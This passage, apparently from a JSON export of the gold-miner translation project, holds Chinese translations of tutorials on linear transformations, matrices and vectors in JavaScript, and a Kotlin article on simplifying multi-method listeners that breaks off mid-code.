    "content": "> * 原文地址：[Linear Algebra: Linear Transformation, Matrix](https://medium.com/@geekrodion/linear-algebra-linear-transformation-matrix-2f4befc3c27b)\n> * 原文作者：[Rodion Chachura](https://medium.com/@geekrodion)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/linear-algebra-linear-transformation-matrix.md](https://github.com/xitu/gold-miner/blob/master/TODO1/linear-algebra-linear-transformation-matrix.md)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：[Mcskiller](https://github.com/Mcskiller), [Baddyo](https://github.com/Baddyo)\n\n# JavaScript 线性代数：线性变换与矩阵\n\n本文是“[JavaScript 线性代数](https://medium.com/@geekrodion/linear-algebra-with-javascript-46c289178c0)”教程的一部分。\n\n![[源码见 GitHub 仓库](https://github.com/RodionChachura/linear-algebra)](https://cdn-images-1.medium.com/max/2000/1*4yaaTk2eqnmn19nyorh-HA.png)\n\n**矩阵**是一种由 **m** 行 **n** 列实数组成的“矩形”数组。比如，一个 **3x2** 的矩阵如下所示：\n\n![**3×2** 矩阵](https://cdn-images-1.medium.com/max/2000/1*wJjLyI2-iDRMaDqd2Sh0iw.jpeg)\n\n**Matrix** 类的构造器（constructor）接收若干行元素作为参数。我们可以通过指定行号取出矩阵中的一行，然后再通过指定列号取出一个特定的元素。下面直接看代码：\n\n```JavaScript\nclass Matrix {\n  constructor(...rows) {\n    this.rows = rows\n  }\n}\n\nconst matrix = new Matrix(\n  [0, 1],\n  [2, 3],\n  [4, 5]\n)\nconsole.log(matrix)\n// Matrix { rows: [ [ 0, 1 ], [ 2, 3 ], [ 4, 5 ] ] }\nconsole.log(matrix.rows[1])\n// [ 2, 3 ]\nconsole.log(matrix.rows[1][1])\n// 3\n```\n\n## 矩阵与向量的乘积\n\n**矩阵与向量的乘法** —— $A\\vec{x}$ 会将矩阵 $A$ 的列进行系数为 $\\vec{x}$ 的线性组合。比如，一个 $3\\times 2$ 的矩阵 A 与一个 **2D** 向量 $\\vec{x}$ 的乘积将得到一个 **3D** 向量，这个计算记为：$\\vec{y} : \\vec{y} = A\\vec{x}$。\n\n![](https://cdn-images-1.medium.com/max/2538/0*sa84p6WtAYoAB8u0)\n\n假设有一组向量 $\\{\\vec{e}_1,\\vec{e}_2\\}$，另一个向量 $\\vec{y}$ 是 $\\vec{e}_1$ 和 $\\vec{e}_2$ 的**线性组合**：$\\vec{y} = \\alpha\\vec{e}_1 + \\beta \\vec{e}_2$。其中，$\\alpha, \\beta \\in \\mathbb{R}$ 就是这个线性组合的系数。\n\n为了更好地学习线性组合，我们特地为此定义了矩阵向量乘法。我们可以将前面所说的线性组合记为以下矩阵向量乘法的形式：$\\vec{y} = E \\vec{x}$。矩阵 $E$ 有 $\\vec{e}_1$、$\\vec{e}_2$ 两列。矩阵的维数是 $n \\times 2$，其中 $n$ 是向量 $\\vec{e}_1$、$\\vec{e}_2$ 与 $\\vec{y}$ 的维数。\n\n下图展示了将向量 $\\vec{v}$ 表示为向量 $\\vec{\\imath}$ 和向量 $\\vec{\\jmath}$ 的线性组合：\n\n![线性组合](https://cdn-images-1.medium.com/max/2000/1*OtdjxVPrwMaGSzUyc9wzdA.png)\n\n```JavaScript\nconst i = new Vector(1, 0)\nconst j = new Vector(0, 1)\nconst firstCoeff = 2\nconst secondCoeff = 5\nconst linearCombination = i.scaleBy(firstCoeff).add(j.scaleBy(secondCoeff))\nconsole.log(linearCombination)\n// Vector { components: [ 2, 5 ] }\n```\n\n## 线性变换\n\n矩阵与向量的乘法是**线性变换**的抽象概念，这是学习线性代数中的关键概念之一。向量与矩阵的乘法可以视为对向量进行线性变换：将 n 维向量作为输入，并输出 m 维向量。也可以说，矩阵是定义好的某种空间变换。\n\n我们可以通过一个示例来更清楚地理解线性变换。首先需要给 Matrix 类加上一个方法，用于返回矩阵的列：\n\n```JavaScript\nclass Matrix {\n  constructor(...rows) {\n    this.rows = rows\n  }\n  columns() {\n    return this.rows[0].map((_, i) => this.rows.map(r => r[i]))\n  }\n}\n\nconst matrix = new Matrix(\n  [1, 2, 3],\n  [4, 5, 6],\n  [7, 8, 9]\n)\nconsole.log(matrix.columns())\n// [ [ 1, 4, 7 ], [ 2, 5, 8 ], [ 3, 6, 9 ] ]\n```\n\n乘法得到的向量的维数将与矩阵的行数相同。如果我们将一个 **2D** 向量和一个 **3x2** 矩阵相乘，将得到一个 **3D** 的向量；如果将一个 **3D** 向量和一个 **2x3** 矩阵相乘，将得到一个 **2D** 的向量；如果在做乘法时，矩阵的列数和向量的维数不相同，将报错。在下面的代码中，你可以看到几种不同的向量与矩阵相乘的形式：\n\n```JavaScript\nconst sum = arr => arr.reduce((acc, value) => acc + value, 0)\n\nclass Vector {\n  // ...\n  transform(matrix) {\n    const columns = matrix.columns()\n    if(columns.length !== this.components.length) {\n      throw new Error('Matrix columns length should be equal to vector components length.')\n    }\n\n    const multiplied = columns\n      .map((column, i) => column.map(c => c * this.components[i]))\n    const newComponents = multiplied[0].map((_, i) => sum(multiplied.map(column => column[i])))\n    return new Vector(...newComponents)\n  }\n}\n\nconst vector2D = new Vector(3, 5)\nconst vector3D = new Vector(3, 5, 2)\nconst matrix2x2D = new Matrix(\n  [1, 2],\n  [3, 4]\n)\nconst matrix2x3D = new Matrix(\n  [1, 2, 3],\n  [4, 5, 6]\n)\nconst matrix3x2D = new Matrix(\n  [1, 2],\n  [3, 4],\n  [5, 6]\n)\n\n// 2D => 2D\nconsole.log(vector2D.transform(matrix2x2D))\n// Vector { components: [ 13, 29 ] }\n\n// 3D => 2D\nconsole.log(vector3D.transform(matrix2x3D))\n// Vector { components: [ 19, 49 ] }\n\n// 2D => 3D\nconsole.log(vector2D.transform(matrix3x2D))\n// Vector { components: [ 13, 29, 45 ] }\nconsole.log(vector2D.transform(matrix2x3D))\n// Error: Matrix columns length should be equal to vector components length.\n```\n\n## 示例\n\n现在，我们将尝试对二维的对象应用线性变换。首先，需要创建一个新的 **Contour**（轮廓）类，它在 constructor 中接收一系列的向量（在 2D 平面中形成一个轮廓），然后用唯一的方法 —— **transform** 对轮廓中的所有向量坐标进行变换，最后返回一个新的轮廓。\n\n```JavaScript\nclass Contour {\n  constructor(vectors) {\n    this.vectors = vectors\n  }\n\n  transform(matrix) {\n    const newVectors = this.vectors.map(v => v.transform(matrix))\n    return new Contour(newVectors)\n  }\n}\n\nconst contour = new Contour([\n  new Vector(0, 0),\n  new Vector(0, 4),\n  new Vector(4, 4),\n  new Vector(4, 0)\n])\n```\n\n现在，请在 [linear-algebra-demo](https://rodionchachura.github.io/linear-algebra/) 项目中试试各种转换矩阵。红色方块是初始化的轮廓，蓝色形状是应用变换矩阵后的轮廓。\n\n![镜像](https://cdn-images-1.medium.com/max/2010/1*M60SUzpCBZIRfIZRb-QRBQ.png)\n\n![缩放](https://cdn-images-1.medium.com/max/2006/1*nuZwkcbpw0RMbl1DzuQrxQ.png)\n\n通过下面的方式，我们可以构建一个矩阵，用于将给定的向量旋转指定的角度。\n\n```JavaScript\nconst angle = toRadians(45)\n\nconst matrix = new Matrix(\n  [Math.cos(angle), -Math.sin(angle)],\n  [Math.sin(angle), Math.cos(angle)]\n)\n```\n\n![旋转](https://cdn-images-1.medium.com/max/2002/1*vZ5Sblw5oPaq8OCw07ligg.png)\n\n![剪切变换](https://cdn-images-1.medium.com/max/2004/1*naUftl-XYETBUtcAYujT0w.png)\n\n对 3D 空间内的对象进行变换也与此类似。你可以在下图中看到一个红色方块变换成一个蓝色的平行六边形的动画。\n\n![3D 剪切变换](https://cdn-images-1.medium.com/max/2432/1*zoTrp_lm1p2HQClkaOdMOQ.gif)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/linear-algebra-vectors.md",
    "content": "> * 原文地址：[Linear Algebra: Vectors](https://medium.com/@geekrodion/linear-algebra-vectors-f7610e9a0f23)\n> * 原文作者：[Rodion Chachura](https://medium.com/@geekrodion)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/linear-algebra-vectors.md](https://github.com/xitu/gold-miner/blob/master/TODO1/linear-algebra-vectors.md)\n> * 译者：[lsvih](https://github.com/lsvih)\n> * 校对者：[Endone](https://github.com/Endone)\n\n# JavaScript 线性代数：向量\n\n本文是“[JavaScript 线性代数](https://medium.com/@geekrodion/linear-algebra-with-javascript-46c289178c0)”教程的一部分。\n\n![[源码见 GitHub 仓库](https://github.com/RodionChachura/linear-algebra)](https://cdn-images-1.medium.com/max/2000/1*4yaaTk2eqnmn19nyorh-HA.png)\n\n**向量**是用于精确表示空间中方向的方法。向量由一系列数值构成，每维数值都是向量的一个**分量**。在下图中，你可以看到一个由两个分量组成的、在 2 维空间内的向量。在 3 维空间内，向量会由 3 个分量组成。\n\n![the vector in 2D space](https://cdn-images-1.medium.com/max/2544/0*aXVg8akmNbxJo7zW)\n\n我们可以为 2 维空间的向量创建一个 **Vector2D** 类，然后为 3 维空间的向量创建一个 **Vector3D** 类。但是这么做有一个问题：向量并不仅用于表示物理空间中的方向。比如，我们可能需要将颜色（RGBA）表示为向量，那么它会有 4 个分量：红色、绿色、蓝色和 alpha 通道。或者，我们要用向量来表示有不同占比的 **n** 种选择（比如表示 5 匹马赛马，每匹马赢得比赛的概率的向量）。因此，我们会创建一个不指定维度的类，并像这样使用它：\n\n```JavaScript\nclass Vector {\n  constructor(...components) {\n    this.components = components\n  }\n}\n\nconst direction2d = new Vector(1, 2)\nconst direction3d = new Vector(1, 2, 3)\nconst color = new Vector(0.5, 0.4, 0.7, 0.15)\nconst probabilities = new Vector(0.1, 0.3, 0.15, 0.25, 0.2)\n```\n\n## 向量运算\n\n考虑有两个向量的情况，可以对它们定义以下运算：\n\n![basic vector operations](https://cdn-images-1.medium.com/max/5808/1*kLbYie-GprAHvlQCvgY1_w.jpeg)\n\n其中，**α ∈ R** 为任意常数。\n\n我们对除了叉积之外的运算进行了可视化，你可以在[此处](https://rodionchachura.github.io/linear-algebra/)找到相关示例。[此 GitHub 仓库](https://github.com/RodionChachura/linear-algebra)里有用来创建这些可视化示例的 React 项目和相关的库。如果你想知道如何使用 React 和 SVG 来制作这些二维可视化示例，请参考[本文](https://juejin.im/post/5cefbc37f265da1bd260d129)。\n\n### 加法与减法\n\n与数值运算类似，你可以对向量进行加法与减法运算。对向量进行算术运算时，可以直接对向量各自的分量进行数值运算得到结果：\n\n![vectors addition](https://cdn-images-1.medium.com/max/2000/1*XI4LEqCht3hWpDIysF99sA.png)\n\n![vectors subtraction](https://cdn-images-1.medium.com/max/2000/1*gWvb-fsuZhFrIs_yF1Ycsw.png)\n\n加法函数接收另一个向量作为参数，并将对应的向量分量相加，返回得出的新向量。减法函数与之类似，不过会将加法换成减法：\n\n```JavaScript\nclass Vector {\n  constructor(...components) {\n    this.components = components\n  }\n\n  add({ components }) {\n    return new Vector(\n      ...components.map((component, index) => this.components[index] + component)\n    )\n  }\n  subtract({ components }) {\n    return new Vector(\n      ...components.map((component, index) => this.components[index] - component)\n    )\n  }\n}\n\nconst one = new Vector(2, 3)\nconst other = new Vector(2, 1)\nconsole.log(one.add(other))\n// Vector { components: [ 4, 4 ] }\nconsole.log(one.subtract(other))\n// Vector { components: [ 0, 2 ] }\n```\n\n## 缩放\n\n我们可以对一个向量进行缩放，缩放比例可为任意数值 **α ∈ R**。缩放时，对所有向量分量都乘以缩放因子 **α**。当 **α > 1** 时，向量会变得更长；当 **0 ≤ α \\< 1** 时，向量会变得更短。如果 **α** 是负数，缩放后的向量将会指向原向量的反方向。\n\n![scaling vector](https://cdn-images-1.medium.com/max/2000/1*mCRgP95wHL50QzajvaB_dw.png)\n\n在 **scaleBy** 方法中，我们对所有的向量分量都乘上传入参数的数值，得到新的向量并返回：\n\n```JavaScript\nclass Vector {\n  constructor(...components) {\n    this.components = components\n  }\n  // ...\n\n  scaleBy(number) {\n    return new Vector(\n      ...this.components.map(component => component * number)\n    )\n  }\n}\n\nconst vector = new Vector(1, 2)\nconsole.log(vector.scaleBy(2))\n// Vector { components: [ 2, 4 ] }\nconsole.log(vector.scaleBy(0.5))\n// Vector { components: [ 0.5, 1 ] }\nconsole.log(vector.scaleBy(-1))\n// Vector { components: [ -1, -2 ] }\n```\n\n## 长度\n\n向量长度可由勾股定理导出：\n\n![vectors length](https://cdn-images-1.medium.com/max/2000/1*EN7SuK49mQ6ImghmR7HWxg.png)\n\n由于在 JavaScript 内置的 Math 对象中有现成的函数，因此计算长度的方法非常简单：\n\n```JavaScript\nclass Vector {\n  constructor(...components) {\n    this.components = components\n  }\n  // ...\n  \n  length() {\n    return Math.hypot(...this.components)\n  }\n}\n\nconst vector = new Vector(2, 3)\nconsole.log(vector.length())\n// 3.6055512754639896\n```\n\n## 点积\n\n点积可以计算出两个向量的相似程度。点积方法接收两个向量作为输入，并输出一个数值。两个向量的点积等于它们各自对应分量的乘积之和。\n\n![dot product](https://cdn-images-1.medium.com/max/2000/1*ZPRCCgiLSdgboxiidedH5A.png)\n\n在 **dotProduct** 方法中，接收另一个向量作为参数，通过 reduce 方法来计算对应分量的乘积之和：\n\n```JavaScript\nclass Vector {\n  constructor(...components) {\n    this.components = components\n  }\n  // ...\n  \n  dotProduct({ components }) {\n    return components.reduce((acc, component, index) => acc + component * this.components[index], 0)\n  }\n}\n\nconst one = new Vector(1, 4)\nconst other = new Vector(2, 2)\nconsole.log(one.dotProduct(other))\n// 10\n```\n\n在我们观察几个向量间的方向关系前，需要先实现一种将向量长度归一化为 1 的方法。这种归一化后的向量在许多情景中都会用到。比如说当我们需要在空间中指定一个方向时，就需要用一个归一化后的向量来表示这个方向。\n\n```JavaScript\nclass Vector {\n  constructor(...components) {\n    this.components = components\n  }\n  // ...\n  \n  normalize() {\n    return this.scaleBy(1 / this.length())\n  }\n}\n\nconst vector = new Vector(2, 4)\nconst normalized = vector.normalize()\nconsole.log(normalized)\n// Vector { components: [ 0.4472135954999579, 0.8944271909999159 ] }\nconsole.log(normalized.length())\n// 1\n```\n\n![using dot product](https://cdn-images-1.medium.com/max/2540/0*omakgizb3jmeJ2d-)\n\n如果两个归一化后的向量的点积结果等于 1，则意味着这两个向量的方向相同。我们创建了 **areEqual** 函数用来比较两个浮点数：\n\n```JavaScript\nconst EPSILON = 0.00000001\n\nconst areEqual = (one, other, epsilon = EPSILON) =>\n  Math.abs(one - other) < epsilon\n\nclass Vector {\n  constructor(...components) {\n    this.components = components\n  }\n  // ...\n  \n  haveSameDirectionWith(other) {\n    const dotProduct = this.normalize().dotProduct(other.normalize())\n    return areEqual(dotProduct, 1)\n  }\n}\n\nconst one = new Vector(2, 4)\nconst other = new Vector(4, 8)\nconsole.log(one.haveSameDirectionWith(other))\n// true\n```\n\n如果两个归一化后的向量点积结果等于 -1，则表示它们的方向完全相反：\n\n```JavaScript\nclass Vector {\n  constructor(...components) {\n    this.components = components\n  }\n  // ...\n  haveOppositeDirectionTo(other) {\n    const dotProduct = this.normalize().dotProduct(other.normalize())\n    return areEqual(dotProduct, -1)\n  }\n}\n\nconst one = new Vector(2, 4)\nconst other = new Vector(-4, -8)\nconsole.log(one.haveOppositeDirectionTo(other))\n// true\n```\n\n如果两个归一化后的向量的点积结果为 0，则表示这两个向量是相互垂直的：\n\n```JavaScript\nclass Vector {\n  constructor(...components) {\n    this.components = components\n  }\n  // ...\n  \n  isPerpendicularTo(other) {\n    const dotProduct = this.normalize().dotProduct(other.normalize())\n    return areEqual(dotProduct, 0)\n  }\n}\n\nconst one = new Vector(-2, 2)\nconst other = new Vector(2, 2)\nconsole.log(one.isPerpendicularTo(other))\n// true\n```\n\n## 叉积\n\n叉积仅对三维向量适用，它会产生垂直于两个输入向量的向量：\n\n![](https://cdn-images-1.medium.com/max/2000/0*Q5qG6O2_tqQ0DjHA.png)\n\n我们实现叉积时，假定它只用于计算三维空间内的向量。\n\n```JavaScript\nclass Vector {\n  constructor(...components) {\n    this.components = components\n  }\n  // ...\n  \n  // 只适用于 3 维向量\n  crossProduct({ components }) {\n    return new Vector(\n      this.components[1] * components[2] - this.components[2] * components[1],\n      this.components[2] * components[0] - this.components[0] * components[2],\n      this.components[0] * components[1] - this.components[1] * components[0]\n    )\n  }\n}\n\nconst one = new Vector(2, 1, 1)\nconst other = new Vector(1, 2, 2)\nconsole.log(one.crossProduct(other))\n// Vector { components: [ 0, -3, 3 ] }\nconsole.log(other.crossProduct(one))\n// Vector { components: [ 0, 3, -3 ] }\n```\n\n## 其它常用方法\n\n在现实生活的应用中，上述方法是远远不够的。比如说，我们有时需要找到两个向量的夹角、将一个向量反向，或者计算一个向量在另一个向量上的投影等。\n\n在开始编写上面说的方法前，需要先写下面两个函数，用于在角度与弧度间相互转换：\n\n```JavaScript\nconst toDegrees = radians => (radians * 180) / Math.PI\nconst toRadians = degrees => (degrees * Math.PI) / 180\n```\n\n### 夹角\n\n```JavaScript\nclass Vector {\n  constructor(...components) {\n    this.components = components\n  }\n  // ...\n  \n  angleBetween(other) {\n    return toDegrees(\n      Math.acos(\n        this.dotProduct(other) /\n        (this.length() * other.length())\n      )\n    )\n  }\n}\n\nconst one = new Vector(0, 4)\nconst other = new Vector(4, 4)\nconsole.log(one.angleBetween(other))\n// 45.00000000000001\n```\n\n### 反向\n\n当需要将一个向量的方向指向反向时，我们可以对这个向量进行 -1 缩放：\n\n```JavaScript\nclass Vector {\n  constructor(...components) {\n    this.components = components\n  }\n  // ...\n  \n  negate() {\n    return this.scaleBy(-1)\n  }\n}\n\nconst vector = new Vector(2, 2)\nconsole.log(vector.negate())\n// Vector { components: [ -2, -2 ] }\n```\n\n## 投影\n\n![project v on d](https://cdn-images-1.medium.com/max/2546/0*bBy_TzPH8XoNC6hK)\n\n```JavaScript\nclass Vector {\n  constructor(...components) {\n    this.components = components\n  }\n  // ...\n  \n  projectOn(other) {\n    const normalized = other.normalize()\n    return normalized.scaleBy(this.dotProduct(normalized))\n  }\n}\n\nconst one = new Vector(8, 4)\nconst other = new Vector(4, 7)\nconsole.log(other.projectOn(one))\n// Vector { components: [ 6, 3 ] }\n```\n\n### 设定长度\n\n当需要给向量指定一个长度时，可以使用如下方法：\n\n```JavaScript\nclass Vector {\n  constructor(...components) {\n    this.components = components\n  }\n  // ...\n  withLength(newLength) {\n    return this.normalize().scaleBy(newLength)\n  }\n}\n\nconst one = new Vector(2, 3)\nconsole.log(one.length())\n// 3.6055512754639896\nconst modified = one.withLength(10)\n// 10\nconsole.log(modified.length())\n```\n\n### 判断相等\n\n为了判断两个向量是否相等，可以对它们对应的分量使用  **areEqual** 函数：\n\n```JavaScript\nclass Vector {\n  constructor(...components) {\n    this.components = components\n  }\n  // ...\n  \n  equalTo({ components }) {\n    return components.every((component, index) => areEqual(component, this.components[index]))\n  }\n}\n\nconst one = new Vector(1, 2)\nconst other = new Vector(1, 2)\nconsole.log(one.equalTo(other))\n// true\nconst another = new Vector(2, 1)\nconsole.log(one.equalTo(another))\n// false\n```\n\n## 单位向量与基底\n\n我们可以将一个向量看做是“在 x 轴上走 $v_x$ 的距离、在 y 轴上走 $v_y$ 的距离、在 z 轴上走 $v_z$ 的距离”。我们可以使用 $\\hat { \\imath }$ 、$\\hat { \\jmath }$ 和 $\\hat { k }$ 分别乘上一个值更清晰地表示上述内容。下图分别是 $x$、$y$、$z$ 轴上的**单位向量**：\n\n$$\n\\hat { \\imath } = ( 1,0,0 ) \\quad \\hat { \\jmath } = ( 0,1,0 ) \\quad \\hat { k } = ( 0,0,1 )$$\n\n任何数值乘以 $\\hat { \\imath }$ 向量，都可以得到一个第一维分量等于该数值的向量。例如：\n\n$$\n2 \\hat { \\imath } = ( 2,0,0 ) \\quad 3 \\hat { \\jmath } = ( 0,3,0 ) \\quad 5 \\hat { K } = ( 0,0,5 )\n$$\n\n向量中最重要的一个概念是**基底**。设有一个 3 维向量 $\\mathbb{R}^3$，它的基底是一组向量：$\\{\\hat{e}_1,\\hat{e}_2,\\hat{e}_3\\}$，这组向量也可以作为 $\\mathbb{R}^3$ 的坐标系统。如果 $\\{\\hat{e}_1,\\hat{e}_2,\\hat{e}_3\\}$ 是一组基底，则可以将任何向量 $\\vec{v} \\in \\mathbb{R}^3$ 表示为该基底的系数 $(v_1,v_2,v_3)$：\n\n$$\n\\vec{v} = v_1 \\hat{e}_1 + v_2 \\hat{e}_2 + v_3 \\hat{e}_3\n$$\n\n向量 $\\vec{v}$ 是通过在 $\\hat{e}_1$ 方向上测量 $v_2$ 的距离、在 $\\hat{e}_2$ 方向上测量 $v_1$ 的距离、在 $\\hat{e}_3$ 方向上测量 $v_3$ 的距离得出的。\n\n在不知道一个向量的基底前，向量的系数三元组并没有什么意义。只有知道向量的基底，才能将类似于 $(a,b,c)$ 三元组的数学对象转化为现实世界中的概念（比如颜色、概率、位置等）。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/listeners-several-functions-kotlin.md",
    "content": "> * 原文地址：[Listeners with several functions in Kotlin. How to make them shine?](https://antonioleiva.com/listeners-several-functions-kotlin/)\n> * 原文作者：[Antonio Leiva](https://antonioleiva.com)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/listeners-several-functions-kotlin.md](https://github.com/xitu/gold-miner/blob/master/TODO1/listeners-several-functions-kotlin.md)\n> * 译者：[Moosphon](https://github.com/Moosphan)\n> * 校对者：[Qiuk17](https://github.com/Qiuk17), [zx-Zhu](https://github.com/zx-Zhu)\n\n# 当 Kotlin 中的监听器包含多个方法时，如何让它 “巧夺天工”？\n\n![](https://antonioleiva.com/wp-content/uploads/2017/12/listener-several-functions.jpg)\n\n我经常遇到的一个问题是在使用 Kotlin 时如何简化具有多个方法的监听器的交互。对于具有只具有一个方法的监听器（或任何接口）很简单：Kotlin 会自动让您用 lambda 替换它。但对于具有多个方法的监听器来说，情况并非如此。\n\n因此，在本文中，我想向您展示处理问题的不同方法，您甚至可以在途中学习一些[新的 Kotlin 技巧](https://antonioleiva.com/kotlin-awesome-tricks-for-android/)！\n\n## 问题所在\n\n当我们处理监听器时，我们知道 `OnclickListener` 作用于视图，归功于 Kotlin 对 Java 库的优化，我们可以将以下代码：\n\n```\nview.setOnClickListener(object : View.OnClickListener {\n    override fun onClick(v: View?) {\n        toast(\"View clicked!\")\n    }\n})\n```\n\n转化为这样：\n\n```\nview.setOnClickListener { toast(\"View clicked!\") }\n```\n\n问题在于，当我们习惯它时，我们希望它能够无处不在。然而当接口存在多个方法时，这种做法将不再适用。\n\n例如，如果我们想为视图动画设置一个监听器，我们最终得到以下“漂亮”的代码：\n\n```\nview.animate()\n        .alpha(0f)\n        .setListener(object : Animator.AnimatorListener {\n            override fun onAnimationStart(animation: Animator?) {\n                toast(\"Animation Start\")\n            }\n\n            override fun onAnimationRepeat(animation: Animator?) {\n                toast(\"Animation Repeat\")\n            }\n\n            override fun onAnimationEnd(animation: Animator?) {\n                toast(\"Animation End\")\n            }\n\n            override fun onAnimationCancel(animation: Animator?) {\n                toast(\"Animation Cancel\")\n            }\n        })\n```\n\n你可能会反驳说 Android framework 已经为它提供了一个解决方案：适配器。对于几乎任何具有多个方法的接口，它们都提供了一个抽象类，将所有方法实现为空。在上述例子中，您可以这样：\n\n```\nview.animate()\n        .alpha(0f)\n        .setListener(object : AnimatorListenerAdapter() {\n            override fun onAnimationEnd(animation: Animator?) {\n                toast(\"Animation End\")\n            }\n        })\n```\n\n好的，是改善了一些，但这存在几个问题：\n\n*   适配器是类，这意味着如果我们想要一个类作为此适配器的实现，它不能扩展其他任何东西。\n*   我们把一个本可以用 lambda 清晰表达的事物，变成了一个具有一个方法的匿名对象。\n\n我们有什么选择？\n\n## Kotlin 中的接口：它们可以包含代码\n\n还记得我们谈到 Kotlin 中的接口吗？ 它们内部可以包含代码，因此，您能够声明可以实现而不是继承适配器（以防您现在将其用于 Android 开发中，您可以使用 Java 8 和接口中的默认方法执行相同的操作）：\n\n```\ninterface MyAnimatorListenerAdapter : Animator.AnimatorListener {\n    override fun onAnimationStart(animation: Animator) = Unit\n    override fun onAnimationRepeat(animation: Animator) = Unit\n    override fun onAnimationCancel(animation: Animator) = Unit\n    override fun onAnimationEnd(animation: Animator) = Unit\n}\n```\n\n有了这个，默认情况下所有方法都不会执行任何操作，这意味着一个类可以实现此接口并仅声明它所需的方法：\n\n```\nclass MainActivity : AppCompatActivity(), MyAnimatorListenerAdapter {\n    ...\n    override fun onAnimationEnd(animation: Animator) {\n        toast(\"Animation End\")\n    }\n}\n```\n\n之后，您可以将它作为监听器的参数：\n\n```\nview.animate()\n        .alpha(0f)\n        .setListener(this)\n```\n\n这个方案解决了开始时提出的一个问题，但是我们仍然要显式地声明它。如果我想使用 lambda 表达式呢？\n\n此外，虽然这可能会不时地使用继承，但在大多数情况下，您仍将使用匿名对象，这与使用 framework 适配器并无不同。\n\n但是，这是一个有趣的想法：如果你需要为具有多个方法的监听器定义一种适配器，**那么最好使用接口而不是抽象类**。[继承 FTW 的构成](https://en.wikipedia.org/wiki/Composition_over_inheritance)。\n\n## 一般情况下的扩展功能\n\n让我们转向更加简洁的解决方案。可能会碰到这种情况（如上所述）：大多数时候你只需要相同的功能，而对另一个功能则不太感兴趣。对于 `AnimatorListener`，最常用的一个方法通常是 `onAnimationEnd`。那么为什么不创建一个涵盖这种情况的[扩展方法](https://antonioleiva.com/extension-functions-kotlin/)呢？\n\n```\nview.animate()\n        .alpha(0f)\n        .onAnimationEnd { toast(\"Animation End\") }\n```\n\n真棒！扩展函数应用于 `ViewPropertyAnimator`，这是 `animate()`、`alpha` 和所有其他动画方法返回的内容。\n\n```\ninline fun ViewPropertyAnimator.onAnimationEnd(crossinline continuation: (Animator) -> Unit) {\n    setListener(object : AnimatorListenerAdapter() {\n        override fun onAnimationEnd(animation: Animator) {\n            continuation(animation)\n        }\n    })\n}\n```\n\n> 我[之前已经谈过 `内联`](https://antonioleiva.com/lambdas-kotlin/)，但如果你还有一些疑问，我建议你看一下[官方的文档](https://kotlinlang.org/docs/reference/inline-functions.html)。\n\n如您所见，该函数只接收在动画结束时调用的 lambda。这个扩展函数为我们完成了创建适配器并调用 setListener 这种不友好的工作。\n\n这样就好多了！我们可以在监听器中为每个方法创建一个扩展方法。但在这种特殊情况下，我们遇到了动画只接受一个监听器的问题。因此我们一次只能使用一个。\n\n在任何情况下，对于大多数重复的情况（像上面那样），它并不会损害到像如上提到的 `Animator` 本身的方法。这是更简单的解决方案，非常易于阅读和理解。\n\n## 使用命名参数和默认值\n\n但是你和我喜欢 Kotlin 的原因之一是它有很多令人惊奇的功能来简化我们的代码！所以你可以想象我们还有一些选择的余地。接下来我们将使用命名参数：这允许我们定义 lambda 表达式并明确说明它们的用途，这将极大地提高代码的可读性。\n\n我们会有类似于上面的功能，但涵盖所有方法的情况：\n\n```\ninline fun ViewPropertyAnimator.setListener(\n        crossinline animationStart: (Animator) -> Unit,\n        crossinline animationRepeat: (Animator) -> Unit,\n        crossinline animationCancel: (Animator) -> Unit,\n        crossinline animationEnd: (Animator) -> Unit) {\n\n    setListener(object : AnimatorListenerAdapter() {\n        override fun onAnimationStart(animation: Animator) {\n            animationStart(animation)\n        }\n\n        override fun onAnimationRepeat(animation: Animator) {\n            animationRepeat(animation)\n        }\n\n        override fun onAnimationCancel(animation: Animator) {\n            animationCancel(animation)\n        }\n\n        override fun onAnimationEnd(animation: Animator) {\n            animationEnd(animation)\n        }\n    })\n}\n```\n\n方法本身不是很好，但通常是伴随扩展方法的情况。他们隐藏了 framework 不好的部分，所以有人必须做艰苦的工作。现在您可以像这样使用它：\n\n```\nview.animate()\n        